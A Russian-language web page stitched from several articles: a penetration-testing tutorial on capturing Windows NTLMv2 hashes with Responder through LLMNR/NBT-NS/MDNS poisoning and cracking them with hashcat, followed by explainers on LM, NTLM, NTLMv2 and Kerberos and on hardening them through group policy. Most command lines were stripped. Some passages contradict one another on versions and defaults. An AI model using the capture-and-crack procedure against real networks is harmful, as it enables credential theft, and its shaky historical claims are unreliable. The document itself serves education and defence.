Начиная с каких версий windows протоколы ntlm и lm не используются по умолчанию

Обновлено: 06.07.2024

Этичный хакинг и тестирование на проникновение, информационная безопасность

Аутентификация в Windows по сети

В Windows реализовано много разнообразных протоколов аутентификации и различных сетевых служб.

Самые распространённые примеры сетевой аутентификации Windows это:

вход на совместную сетевую папку
вход в компьютер с учётной записью Microsoft

Для входа на другие компьютеры в сети Windows используются такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP — думаю, даже пользователям Windows с многолетним стажем эти термины непонятны. В этой статье с помощью программы Responder мы будем перехватывать хеши, используемые при аутентификации в Windows. Программа Responder весьма эффективна и для базового использования не требует знания и понимания методов аутентификации и сетевых служб Windows. Поэтому мы начнём с практики — с перехвата хеша аутентификации и его расшифровки, благодаря чему получим имя пользователя и пароль в операционных системах Windows. Тем не менее в конце статьи будет дана характеристика способов аутентификации и сетевых служб.

Кстати про сетевые службы. Responder использует принципы атаки «человек-посередине», когда атакующий выступает в роле посредника, ретранслятора процесса аутентификации между жертвой и сервером. Responder вместо привычного и хорошо знакомого многих ARP спуфинга эксплуатирует такие сетевые службы Windows как: LLMNR, NBT-NS и MDNS. Опять же, далеко не всем знакомы эти термины и принципы работы этих служб, но, к счастью, Responder и не требует их глубокого понимания, а их краткая характеристика также будет в конце статьи.

Итак, Responder умеет перенаправлять трафик жертвы на компьютер атакующего и выступает посредником во время аутентификации пользователя. Также Responder имеет встроенные сервера аутентификации.

Сбор информации о компьютерах Windows и их сетевых службах в локальной сети

Перед запуском полноценной атаки, давайте хотя бы вскользь начнём знакомство с некоторыми сетевыми службами Windows.

У Responder есть модуль Режима анализа. Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.

Режим анализа включается опцией -A. Также в своих командах я буду использовать опцию -v для более подробного вывода.

Ещё нужно указать имя сетевого интерфейса — имена всех сетевых интерфейсов на своём компьютере можно посмотреть командой

Интерфейс нужно указывать с опцией -I, я буду использовать сетевой интерфейс с именем wlo1, следовательно, моя команда следующая:

На первом экране нам показана сводка, какие именно травители, сервера аутентификации и опции включены:

Рассмотрим некоторые записи:

Подтверждает, что Responder в режиме анализа и на запросы NBT-NS, LLMNR, MDNS не будут отправляться спуфленные данные для выполнения перенаправления трафика.

В следующей записи

говориться, что в этой сети будет работать ICMP Redirect.

В следующей записи:

говориться, что получен запрос от протокола NBT-NS. Слово ignoring говорит о том, что никаких действий предпринято не было — то есть атакующим не был отправлен ответ.

Информация о запросе по протоколу LLMNR:

В следующих строках:

говориться, что благодаря устаревшему протоколу LANMAN обнаружена рабочая группа с именем WORKGROUP, и что в этой рабочей группе найдены следующие рабочие станции и серверы: HACKWARE-MIAL, HACKWARE-SERVER, RT-N66U, VYACHESLAV — это имена компьютеров Windows в сети.

Пример записи о поступившем запросе по протоколу MDNS:

Для остановки программы нажмите CTRL+c.

Перехват имени пользователя и пароля Windows по сети

Теперь приступим к захвату хеша и затем его расшифровке.

Запускаем responder с набором опций -r -P -v -f, также указываем опцию -I с именем сетевого интерфейса:

Далее атака не требует каких-либо действий с нашей стороны.

Фраза Poisoned answer sent to означает, что был отправлен спуфленный ответ на запрос, результатом которого должно стать перенаправление трафика через наш компьютер. Примеры для всех трёх протоколов:

Пример удачно перехваченного хеша:

Из этих строк следует, что при подключении пользователя к сетевой общей папке по протоколу SMB использовалась аутентификация по протоколу NTLMv2-SSP. Имя компьютера HACKWARE-MIAL, а имя пользователя MiAl. Также дан перехваченный хеш, при расшифровке которого мы получим пароль пользователя.

Анализ результатов responder

Необязательно следить за выводом в консоль и копировать из неё хеши — все данные сохраняются в логи.

Файлы журналов располагаются в папке "logs/". Хеши будут сохранены и напечатаны только один раз на одного пользователя на один тип хеша. Будет выведен каждый хеш, если вы используете Вербальный режим, то есть если вы указали опцию -v.

Вся активность будет записана в файл Responder-Session.log

Режим анализа запишет свой журнал в Analyze-Session.log

Травление будет записано в файл Poisoners-Session.log

В Kali Linux и BlackArch эти файлы размещены в директории /usr/share/responder/logs/.

С помощью команды

можно вывести краткий итог полученных данных: имена компьютеров и имена пользователей.

покажет захваченные хеши.

Обратите внимание, NTLMV2 хеши перечислены после фразы

А NTLMv1 идут после фразы NTLMv1:

Некоторые хеши начинаются на имя пользователя, а затем через два двоеточия идёт имя компьютера:

В некоторых хешах после имени пользователя идёт имя рабочей группы — видимо, в том случае, если не получилось определить имя компьютера:

Для аккаунтов Microsoft в качестве имени пользователя указывается email, а затем через два двоеточия идёт срока «MicrosoftAccount»:

Как взломать хеш NTLMv1/NTLMv2/LMv2

Нам необходимо взломать следующий хеш:

На странице примера хешей, хеш NetNTLMv1 / NetNTLMv1+ESS (режим hashcat 5500) показан так:

А NetNTLMv2 (режим hashcat 5600) показан так:

Мой хеш заметно длиннее, и хотя responder-dumphash поместила этот хеш в группу NTLMV2, у меня возникли некоторые сомнения.

Проверяем ещё одной программой:

То есть всё таки это хеш NetNTLMv2, режим Hashcat равен 5600.

Hashcat поддерживает следующие родственные хеши:

Для запуска атаки по маске для взлома NetNTLMv2 в Hashcat нужно выполнить команду вида:

Пример моей реальной команды:

Обратите внимание на запредельную скорость брутфорса этого алгоритма: 276.9 MH/s. За примерно 0 секунд (программа не показывает доли секунды) перебрано 9,375,744 паролей. Это результат на ноуте с GeForce GTX 1050 Ti — на настольных компьютерах с топовой видеокартой результаты будут ещё более впечатляющими. Можно констатировать — если хеш перехвачен, то он практически наверняка будет взломан, причём довольно быстро.

Для взлома NTLMv2 по словарю в Hashcat запустите команду вида:

Новое в этой команде:

Проблемы запуска responder

check permissions or other servers running

При запуске Режима анализа вы могли увидеть на скриншоте надпись:

Дело в том, что Responder для выполнения функций ретранслятора прослушивает ряд портов, а именно следующие порты: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.

Соответственно, эти порты не должны быть заняты. У меня был запущен веб-сервер, который прослушивал 80й порт, поэтому и возникла эта ошибка. Убедитесь, что в вашей системе все эти порты свободны.

Если на вашей системе запущена Samba, остановите smbd и nmbd и все другие службы, прослушивающие указанные порты.

В Ubuntu по умолчанию запущена служба, которая прослушивает 53 порт, для исправления откройте для редактирования файл /etc/NetworkManager/NetworkManager.conf и закомментируйте строку:

Затем остановите dnsmasq командой:

ValueError: invalid literal for int() with base 10

Если в /etc/resolv.conf в качестве DNS серверов указаны IPv6 адреса, например:

то при запуске Responder в режиме анализа, например:

Для её исправления откройте файл LLMNR.py (в Kali Linux и в BlackArch этот файл размещён по пути /usr/share/responder/poisoners/LLMNR.py), найдите там строку

и замените её на строку:

Продвинутые возможности Responder

Изменить настройки программы вы можете в файле /usr/share/responder/Responder.conf

Сетевые технологии Windows

Протоколы аутентификации Windows

NTLMv1

NTLM (NT LAN Manager) — протокол сетевой аутентификации, разработанный фирмой Microsoft для Windows NT.

NTLM — это результат дальнейшего развития LANMAN.

Никакой официальной информации о нём не поступало, но многое выяснила группа разработчиков Samba во время разработки своей программы.

Для передачи на сервер аутентификации (англ. Primary Domain Controler (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.

1. Пользователь устанавливает подключение(сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.

Протокол NTLM использует одно или оба значения хешированных паролей, оба из них хранятся на сервере (или контроллере домена), которые из-за отсутствия привязки эквивалентны паролю. Это означает, что хешированное значение с сервера может быть использовано для аутентификации без фактического знания пароля. Эти два значения представляют собой LM Hash (функции, основанные на стандарте шифрования данных для первых 14 символов пароля преобразованные в традиционную 8 битную кодировку для языка ПК) и NT Hash (значение функции MD4 от переведенного в кодировку little endian UTF-16 Unicode пароля). Оба хеша имеют длину в 16 байт (128 бит) каждый.

Протокол NTLM использует одну из двух односторонних функций, зависящих от версии NTLM. NT LanMan и NTLM версии 1 используют функцию LanMan на основе стандартного шифрования данных (LMOWF), в то время как NTLMv2 использует одностороннюю функцию NT MD4 (NTOWF[1][2]).

Проверка подлинности NTLM по-прежнему поддерживается и обязательна для использования на системах, работающих под управлением Windows NT Server 4.0 или более ранних версий, а также для компьютеров, настроенных как члены рабочих групп. Проверка подлинности NTLM также используется для проверки подлинности при аутентификации на изолированных системах. Начиная с Windows 2000, проверка подлинности Kerberos версии 5 является предпочтительным методом проверки подлинности для сред Active Directory.

NTLMv2

NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно. С самого изобретения протоколы NTLMv1 и NTLMv2 подвергались множеству нападений и демонстрировали широкий спектр серьёзных уязвимостей.

Клиент пытается установить соединение с сервером и посылает запрос, в котором информирует сервер, на каких диалектах он способен произвести аутентификации, например: LM, NTLM, NTLM2, NTLMv2. Следовательно, диалект аутентификации LMv2 между клиентом и сервером исключается.
Сервер из полученного от клиента списка диалектов (по умолчанию) выбирает наиболее защищённый диалект (например, NTLMv2), затем отправляет ответ клиенту.
Клиент, определившись с диалектом аутентификации, пытается получить доступ к серверу и посылает запрос NEGOTIATE_MESSAGE.
Сервер получает запрос от клиента и посылает ему ответ CHALLENGE_MESSAGE, в котором содержится случайная (random) последовательность из 8 байт. Она называется Server Challenge.
Клиент, получив от сервера последовательность Server Challenge, при помощи своего пароля производит шифрование этой последовательности, а затем посылает серверу ответ AUTHENTICATE_MESSAGE, который содержит 24 байта.
Сервер, получив ответ, производит ту же операцию шифрования последовательности Server Challenge, которую произвёл клиент. Затем, сравнив свои результаты с ответом от клиента, на основании совпадения разрешает или запрещает доступ.

LMv2

LM-хеш, или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.

Эволюция алгоритмов аутентификации LM и NTLM: LM → LMv2 → NTLM → NTLM2 → NTLMv2

Сетевые службы Windows

Теперь рассмотрим сетевые службы Windows, эксплуатируя которые становится возможным выполнить перенаправление трафика на компьютер атакующего.

LLMNR

Link-Local Multicast Name Resolution (LLMNR) — это протокол, основанный на формате пакета системы доменных имён (DNS), который позволяет хостам как IPv4, так и IPv6 выполнять разрешение имён для хостов на одном и том же локальном канале. Он включён в Windows Vista, Windows Server 2008, Windows 7, Windows 8 и Windows 10. Он также реализован с помощью systemd-resolved в GNU/Linux.

Отвечая на запросы, респонденты прослушивают порт UDP 5355 по следующему адресу многоадресной рассылки:

IPv4 - 224.0.0.252, MAC адрес 01-00-5E-00-00-FC
IPv6 - FF02:0:0:0:0:0:1:3 (эту нотацию можно сократить до FF02::1:3), MAC адрес 33-33-00-01-00-03

Ответчики также прослушивают TCP-порт 5355 по одноадресному (unicast) адресу, который хост использует для ответа на запросы.

NBT-NS

NBT-NS это NetBIOS-NS, то есть NetBIOS Name Service.

NetBIOS Name Service является одним из трёх сервисов NetBIOS: служба имён (NetBIOS-NS) для регистрации и разрешения имён. Подробности смотрите в статье NetBIOS: что это, как работает и как проверить.

Примитивы службы имён, предлагаемые NetBIOS:

Add name (Добавить имя) — регистрирует имя NetBIOS.
Add group name (Добавить имя группы) — регистрирует NetBIOS-имя группы.
Delete name (Удалить имя) — отменяет регистрацию имени NetBIOS или имени группы.
Find name (Найти имя) — поиск имени NetBIOS в сети.

Разрешение имён NetBIOS не поддерживается Microsoft для Интернет-протокола версии 6 (IPv6).

MDNS

В компьютерных сетях протокол многоадресной DNS (mDNS) разрешает имена хостов в IP-адреса в небольших сетях, которые не включают локальный сервер имён. Это сервис с нулевой конфигурацией, использующий по существу те же программные интерфейсы, форматы пакетов и рабочую семантику, что и одноадресная система доменных имён (DNS). Хотя Стюарт Чешир разработал mDNS как самостоятельный протокол, он может работать совместно со стандартными DNS-серверами.

Протокол mDNS опубликован как RFC 6762, использует пакеты многоадресного протокола дейтаграмм пользователя (UDP) и используется пакетами программного обеспечения Apple Bonjour и Avahi с открытым исходным кодом. Android содержит реализацию mDNS. mDNS также был реализован в Windows 10, первоначально применение ограничивалось обнаружением сетевых принтеров, впоследствии стал способным также разрешать имена хостов.

mDNS может работать в сочетании с DNS Service Discovery (DNS-SD), сопутствующим методом нулевой конфигурации.

По умолчанию mDNS разрешает только имена хостов, относящихся к доменам верхнего уровня (TLD) .local. Это может вызвать проблемы, если этот домен включает хосты, которые не реализуют mDNS, но которые можно найти через обычный DNS-сервер одноадресной передачи. Разрешение таких конфликтов требует изменений конфигурации сети, которые нарушают цель нулевой конфигурации.

Серверы Windows

SMB

MSSQL

Система управления базами данных.

FTP

Протокол обеспечивающий работу файлового сервера.

LDAP

LDAP (англ. Lightweight Directory Access Protocol — «легкорасширяемый протокол доступа к каталогам») — протокол прикладного уровня для доступа к службе каталогов X.500, разработанный IETF как облегчённый вариант разработанного ITU-T протокола DAP. LDAP — относительно простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Обычно LDAP-сервер принимает входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов, инкапсулированных в SSL, обычно используется порт 636.

Работая в среде Windows каждый системный администратор так или иначе сталкивается с системами аутентификации. Но для многих этот механизм представляет собой черный ящик, когда суть происходящих процессов остается неясна. В тоже время от правильной настройки аутентификации напрямую зависит безопасность сети, поэтому важно не только знать способы и протоколы, но и представлять их работу, хотя бы на общем уровне.

В рамках данного материала мы будем рассматривать сознательно упрощенное представление процедур аутентификации, достаточное для понимания базового принципа работы, впоследствии данные знания могут быть углублены путем изучения специализированной литературы.

Для начала внесем ясность в термины. Многие путают понятия аутентификации и авторизации, хотя это различные процедуры.

Аутентификация - происходит от английского слова authentication, которое можно перевести как идентификация или проверка подлинности. Это полностью отражает суть процесса - проверка подлинности пользователя, т.е. мы должны удостовериться, что пользователь, пытающийся получить доступ к системе именно тот, за кого себя выдает.
Авторизация - перевод слова authorization означает разрешение, т.е. проверка прав доступа к какому-либо объекту. Процесс авторизации может быть применен только к аутентифицированному пользователю, так как перед тем, как проверять права доступа, мы должны выяснить личность объекта, которому мы собираемся предоставить какие-либо права.

Чтобы проще представить себе этот процесс проведем простую аналогию. Вы находитесь за границей и вас останавливает полицейский, вы предъявляете свой паспорт. Полицейский проверяет данные в паспорте и сверяет фотографию - это процесс аутентификации. Убедившись, что вы это вы, полицейский просит показать визу - это процесс авторизации, т.е. вашего права здесь находиться.

Точно также, сотрудник полиции, остановив трудового мигранта и проверив его паспорт, просит разрешение на работу, если разрешения нет, то зарубежный гость успешно прошел аутентификацию, но провалил авторизацию. Если аутентификация не пройдена, то до авторизации дело не дойдет.

Для аутентификации в компьютерных системах традиционно используется сочетания имени пользователя и некой секретной фразы (пароля), позволяющей определить, что пользователь именно тот, за кого себя выдает. Существуют также и иные способы аутентификации, например, по смарт-карте, но в данной статье мы их касаться не будем.

Локальная аутентификация

Прежде всего начнем с локальной аутентификации, когда пользователь хочет войти непосредственно на рабочую станцию, не входящую в домен. Что происходит после того, как пользователь ввел свой логин и пароль? Сразу после этого введенные данные передаются подсистеме локальной безопасности (LSA), которая сразу преобразует пароль в хэш, хэширование - это одностороннее криптографическое преобразование, делающее восстановление исходной последовательности невозможным. В открытом виде пароль нигде в системе не хранится и не фигурирует, пользователь - единственный кто его знает.

Затем служба LSA обращается к диспетчеру учетных записей безопасности (SAM) и сообщает ему имя пользователя. Диспетчер обращается в базу SAM и извлекает оттуда хэш пароля указанного пользователя, сгенерированный при создании учетной записи (или в процессе смены пароля).

Затем LSA сравнивает хэш введенного пароля и хэш из базы SAM, в случае их совпадения аутентификация считается успешной, а хэш введенного пароля помещается в хранилище службы LSA и находится там до окончания сеанса пользователя.

В случае входа пользователя в домен, для аутентификации используются иные механизмы, прежде всего протокол Kerberos, однако, если одна из сторон не может его использовать, по согласованию могут быть использованы протоколы NTLM и даже устаревший LM. Работу этих протоколов мы будем рассматривать ниже.

LAN Manager (LM)

Протокол LAN Manager возник на заре зарождения локальных сетей под управлением Windows и впервые был представлен в Windows 3.11 для рабочих групп, откуда перекочевал в семейство Windows 9.х. Мы не будем рассматривать этот протокол, так как в естественной среде он уже давно не встречается, однако его поддержка, в целях совместимости, присутствует до сих пор. И если современной системе поступит запрос на аутентификацию по протоколу LM, то, при наличии соответствующих разрешений, он будет обработан.

Что в этом плохого? Попробуем разобраться. Прежде всего разберемся, каким образом создается хэш пароля для работы с протоколом LM, не вдаваясь в подробности обратим ваше внимание на основные ограничения:

Пароль регистронезависимый и приводится к верхнему регистру.
Длина пароля - 14 символов, более короткие пароли дополняются при создании хэша нулями.
Пароль делится пополам и для каждой части создается свой хэш по алгоритму DES.

Исходя из современных требований к безопасности можно сказать, что LM-хэш практически не защищен и будучи перехвачен очень быстро расшифровывается. Сразу оговоримся, прямое восстановление хэша невозможно, однако в силу простоты алгоритма шифрования возможен подбор соответствующей паролю комбинации за предельно короткое время.

А теперь самое интересное, LM-хэш, в целях совместимости, создается при вводе пароля и хранится в системах по Windows XP включительно. Это делает возможной атаку, когда системе целенаправленно присылают LM-запрос и она его обрабатывает. Избежать создания LM-хэша можно изменив политику безопасности или используя пароли длиннее 14 символов. В системах, начиная с Windows Vista и Server 2008, LM-хэш по умолчанию не создается.

NT LAN Manager (NTLM)

Новый протокол аутентификации появился в Windows NT и благополучно, с некоторыми изменениями, дожил до наших дней. А до появления Kerberos в Windows 2000 был единственным протоколом аутентификации в домене NT.

Сегодня протокол NTLM, точнее его более современная версия NTLMv2, применяются для аутентификации компьютеров рабочих групп, в доменных сетях Active Directory по умолчанию применяется Kerberos, однако если одна из сторон не может применить этот протокол, то по согласованию могут быть использованы NTLMv2, NTLM и даже LM.

Принцип работы NTLM имеет много общего с LM и эти протоколы обратно совместимы, но есть и существенные отличия. NT-хэш формируется на основе пароля длиной до 128 символов по алгоритму MD4, пароль регистрозависимый и может содержать не только ACSII символы, но и Unicode, что существенно повышает его стойкость по сравнению с LM.

Как происходит работа по протоколу NTLM? Рассмотрим следующую схему:

Допустим локальный компьютер хочет получить доступ к некоторому файловому ресурсу на другом ПК, который мы будем считать сервером, при этом совсем не обязательно наличие на этом ПК северной ОС или серверных ролей. С точки зрения протокола NTLM клиент это тот, кто обращается, сервер - к кому обращаются.

Зашифрованный хэшем пароля запрос сервера называется ответом NTLM и передается обратно серверу, сервер извлекает из хранилища SAM хэш пароля того пользователя, чье имя было ему передано и выполняет аналогичные действия с запросом сервера, после чего сравнивает полученный результат с ответом NTLM. Если результаты совпадают, значит пользователь клиента действительно тот, за кого себя выдает, и аутентификация считается успешной.

В случае доменной аутентификации процесс протекает несколько иначе. В отличие от локальных пользователей, хэши паролей которых хранятся в локальных базах SAM, хэши паролей доменных пользователей хранятся на контроллерах доменов. При входе в систему LSA отправляет доступному контроллеру домена запрос с указанием имени пользователя и имени домена и дальнейший процесс происходит как показано выше.

В случае получения доступа к третьим ресурсам схема также немного изменяется:

Как видим, хэш пароля ни при каких обстоятельствах по сети не передается. Хэш введенного пароля хранит служба LSA, хэши паролей пользователей хранятся либо в локальных хранилищах SAM, либо в хранилищах контроллера домена.

Но несмотря на это, протокол NTLM на сегодняшний день считаться защищенным не может. Слабое шифрование делает возможным достаточно быстро восстановить хэш пароля, а если использовался не только NTLM, а еще и LM-ответ, то и восстановить пароль.

Но и перехваченного хэша может оказаться вполне достаточно, так как NTLM-ответ генерируется на базе пароля пользователя и подлинность клиента сервером никак не проверяется, то возможно использовать перехваченные данные для неавторизованного доступа к ресурсам сети. Отсутствие взаимной проверки подлинности также позволяет использовать атаки плана человек посередине, когда атакующий представляется клиенту сервером и наоборот, устанавливая при этом два канала и перехватывая передаваемые данные.

NTLMv2

Осознавая, что протокол NTLM не соответствует современным требованиям безопасности, с выходом Windows 2000 Microsoft представила вторую версию протокола NTLMv2, который был серьезно доработан в плане улучшений криптографической стойкости и противодействия распространенным типам атак. Начиная с Windows 7 / Server 2008 R2 использование протоколов NTLM и LM по умолчанию выключено.

Сразу рассмотрим схему с контроллером домена, в случае его отсутствия схема взаимодействия не меняется, только вычисления, производимые контроллером домена, выполняются непосредственно на сервере.

Как и в NTLM, клиент при обращении к серверу сообщает ему имя пользователя и имя домена, в ответ сервер передает ему случайное число - запрос сервера. В ответ клиент генерирует также случайное число, куда, кроме прочего, добавляется метка времени, которое называется запрос клиента. Наличие метки времени позволяет избежать ситуации, когда атакующий первоначально накапливает перехваченные данные, а потом с их помощью осуществляет атаку.

Запрос сервера объединяется с запросом клиента и от этой последовательности вычисляется HMAC-MD5 хэш. После чего от данного хэша берется еще один HMAC-MD5 хэш, ключом в котором выступает NT-хэш пароля пользователя. Получившийся результат называется NTLMv2-ответом и вместе с запросом клиента пересылается серверу.

Криптостойкость данного алгоритма является актуальной и на сегодняшний день, известно только два случая взлома данного хэша, один из них произведен компанией Symantec в исследовательских целях. Можно с уверенностью сказать, что в настоящий момент нет массовых инструментов для атак на NTLMv2, в отличие от NTLM, взломать который может любой вдумчиво прочитавший инструкцию школьник.

Сервер, получив NTLMv2-ответ и запрос клиента, объединяет последний с запросом сервера и также вычисляет HMAC-MD5 хэш, затем передает его вместе с ответом контроллеру домена. Тот извлекает из хранилища сохраненный хэш пароля пользователя и производит вычисления над HMAC-MD5 хешем запросов сервера и клиента, сравнивая получившийся результат с переданным ему NTLMv2-ответом. В случае совпадения серверу возвращается ответ об успешной аутентификации.

При этом, как вы могли заметить, NTLMv2, также, как и его предшественник, не осуществляет взаимную проверку подлинности, хотя в некоторых материалах в сети это указывается.

Настройки безопасности

Теперь, когда вы имеете представление о работе протоколов аутентификации самое время поговорить о настройках безопасности. NTLMv2 вполне безопасный протокол, но если система настроена неправильно, то злоумышленник может послать NTLM или LM запрос и получить соответствующий ответ, который позволит успешно осуществить атаку.

За выбор протокола аутентификации отвечает локальная или групповая политика. Откроем редактор политик и перейдем в Конфигурация компьютера - Конфигурация Windows - Политики безопасности - Локальные политики - Параметры безопасности, в этом разделе найдем политику Сетевая безопасность: уровень проверки подлинности LAN Manager.

В этом же разделе находится политика Сетевая безопасность: не хранить хэш-значения LAN Manager при следующей смене пароля, которая запрещает создание LM-хэша, по умолчанию активна начиная с Vista / Server 2008.

В нашей же политике мы видим широкий выбор значений, очевидно, что сегодня безопасными могут считаться политики начиная с Отправлять только NTLMv2-ответ и ниже по списку.

Эти же значения можно задать через реестр, что удобно в сетях уровня рабочей группы, для этого в разделе HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lsa нужно создать параметр DWORD с именем LmCompatibilityLevel, который может принимать значения от 0 до 5. Рассмотрим их подробнее:

Наименование настройки	Клиентский компьютер	Контроллер домена	Lm Compatibility Level
Отправлять LM- и NTLM-ответы	Клиентские компьютеры используют LM и NTLM аутентификацию , и никогда не используют сеансовую безопасность NTLMv2.	Контроллеры домена допускают проверку подлинности LM, NTLM и NTLMv2.	0
Отправлять LM- и NTLM- использовать сеансовую безопасность NTLMv2	Клиентские компьютеры используют LM и NTLM аутентификацию, и используют сеансовую безопасность NTLMv2, если сервер поддерживает ее.	Контроллеры домена допускают проверку подлинности LM, NTLM и NTLMv2.	1
Отправлять только NTLM-ответ	Клиентские компьютеры используют проверку подлинности NTLMv1, и используют сеансовую безопасность NTLMv2, если сервер поддерживает ее.	Контроллеры домена допускают проверку подлинности LM, NTLM и NTLMv2.	2
Отправлять только NTLMv2-ответ	Клиентские компьютеры используют проверку подлинности NTLMv2, и используют сеансовую безопасность NTLMv2, если сервер поддерживает ее.	Контроллеры домена допускают проверку подлинности LM, NTLM и NTLMv2.	3
Отправлять только NTLMv2-ответ. Отказывать LM.	Клиентские компьютеры используют проверку подлинности NTLMv2, и используют сеансовую безопасность NTLMv2, если сервер поддерживает ее.	Контроллеры домена отказываются принимать аутентификацию LM, и будут принимать только NTLM и NTLMv2.	4
Отправлять только NTLMv2-ответ. Отказывать LM и NTLM.	Клиентские компьютеры используют проверку подлинности NTLMv2, и используют сеансовую безопасность NTLMv2, если сервер поддерживает ее.	Контроллеры домена отказываются принимать аутентификацию LM и NTLM, и будут принимать только NTLMv2.	5

Внимательный читатель, изучая данную таблицу, обязательно обратит внимание на сеансовую безопасность NTLMv2. Данная возможность, как и вообще все взаимодействие по NTLMv2, довольно плохо документированы, поэтому многие понимают смысл этой возможности неправильно. Но на самом деле все довольно несложно.

После того, как клиент пройдет аутентификацию формируется ключ сеанса, который используется для подтверждения подлинности при дальнейшем взаимодействии. Ключ сеанса NTLM основан только на NT-хэше и будет одинаковым до тех пор, пока клиент не поменяет пароль пользователя. Какие угрозы безопасности это несет пояснять, нам кажется, не надо. Сеансовая безопасность NTLMv2 подразумевает вычисление ключа сеанса с использованием не только NT-хэша, но и запросов сервера и клиента, что делает ключ уникальным и гораздо более стойким к возможным атакам. При этом данная возможность может быть использована совместно с NTLM или LM аутентификацией.

Мы надеемся, что данный материал поможет вам глубже понять процессы аутентификации в системах Windows. В следующей части мы подробно остановимся на устройстве и работе протокола Kerberos.

Microsoft давно уже отошла от слабой защиты
паролей и сейчас системы компании взломать
не так то и просто. С подключением новых
протоколов аутентификации типа NTLMv2 или
Kerberos, Microsoft вполне обезопасила вашу сеть.
Проблема в использовании ОС MS на самом деле
состоит в том, что им по наследству
достались и старые уязвимые протоколы типа
Lan Manager или NT Lan Manager. И даже если они не
используются в работе они по прежнему
доступны и на большинстве систем хешируют
пароли, просто на случай соединения со
старым компьютеров. Это открывает
определенную брешь в обороне вашего
компьютера и в этой статье мы покажем как ее
закрыть.

Microsoft поддерживает целый сонм протоколов
аутентификации. Как уже было сказано,
старые реализации никуда не деваются, а
сохраняются ради совместимости. Так,
например, Windows Server 2003 может работать как с
протоколом Lаn Mаnager и NTLM, так и с современным
Kerberos. В проектировании сети важно понять
что делает каждый из протоколов и какими
особенностями он выделяется. Необходимо
так же знать какие операционные системы
какие протоколы юзают, ведь даже если
протокол и слаб в своей основе, возможно он
необходим для работы с другими
компьютерами, существующими в окружении. Ну
и напоследок, если необходимость
использования слабого протокола все же
существует то необходимо продумать меры
навесной защиты.

Lan Manager

LM один из самых старых протоколов
аутентификации, используемых Microsoft. Впервые
он появился еще в Windows 3.11 и в целом не
слишком безопасен. Посмотрим описание:

Хеши зависят от регистра
В пароле можно использовать 142 символами
Хеш разделяется на последовательности в
2-7 символов. Если пароль короче 14 символов,
то он дополняется нулями до 14 знаков
Результирующее значение - 128 битное
Хеш необратим

NT Lan Manager

NTLM стал последователем LM и впервые был
представлен в Windows NT 3.1. Причина его
появление - внедрение новой системы
каталогов в операционной системе,
контролируемой всем известными доменами.
NTLM требует, что бы domain controller хранил хеши
всех пользователей самого домена.
Особенности этого протокола похожи на LM,
только реализованы несколько иначе.

Стоит отметить, что этот протокол не был
выпущен одновременно с какой либо ОС, а
появился в 4-ом сервиспаке для Windows NT 4. В нем
Microsoft попыталась все ошибки предыдущих
протоколов и выглядит он так:

Пароль может быть до 128 символов
Взаимная аутентификация клиента и
сервера
Более длинные ключи для улучшенной
защиты хеша

Это уже не разработка MS, а индустриальный
стандарт, описанный в RFC 1510. Microsoft добавила в
него несколько незначительных фишек и
начала использовать в Windows. В Active Directory
протокол выглядит так:

Взаимная аутентификация с
использованием билетов
Процесс опознавания в основном ложится
на плечи клиента, что уменьшает нагрузку
на сервер
Контролер домена несет на себе Kerberos
Distribution Center
Пароли не передаются по сети
Kerberos защищен от перехвата пакетов

Windows 95, 98 и Me по умолчанию не поддерживают
NTLMv2 и Kerberos, а соответственно работают
только с LM или NTLM. Это ставит их в разряд
самых уязвимых систем, однако и тут конечно
есть решение. Называется оно Active
Directory Client Extensions, что позволит
использовать NTLMv2, Kerberos же использовать в
семействе 9х никак не получится.

Как уже было сказано ранее, изначально ОС
этого семейства работали так же ,как и 9х.
Однако в SP4 появился NTLMv2.

Ясно, что эти системы уже работают со
всеми четырьмя протоколами - LM, NTLM, NTLMv2 и
Kerberos. При работе с AD и компьютерами,
входящими в AD, используется Kerberos. В рабочих
группах в ход вступает NTLMv2, ну а для работы с
устаревшими операционками уже
используется LM и NTLM.

Борьба со стариной

Если вы еще не поняли, то все компьютеры в
вашей Windows-сети поддерживают эти два
устаревших протокола. Что можно с ними
сделать?

1. По умолчанию LM и NTLM хеши посылаются по
сети в процессе аутентификации, причем это
случается даже когда ХР коннектится,
например, к домену на Windows 2003. Для выключения
лезем в Group Policy Object и запрещаем передачу
хешей по сети:

В политике возможен выбор из 6 вариантов:

Самый безопасный вариант - последний.

2. Следующая опция запретит генерацию
устаревших хешей. По умолчанию се
компьютеры для обратной совместимости
генерируют LM и NTLM хеши, даже если они и не
требуются.

Немедленного эффекта эта опция не даст,
она сработает только при изменении пароля.

3. Если все же в вашей сети есть устройства
или компьютеры работающие с LM можно обойти
хранение хеша применением пароля длиннее 14
символов. В таком варианте хеш не
сохраняется.

Совсем запретить использование протокола
пока невозможно, так как он используется
для работы групп в Windows 2000 и более новых
операционных системах. Однако, как обычно,
возможно предпринять ряд шагов для защиты
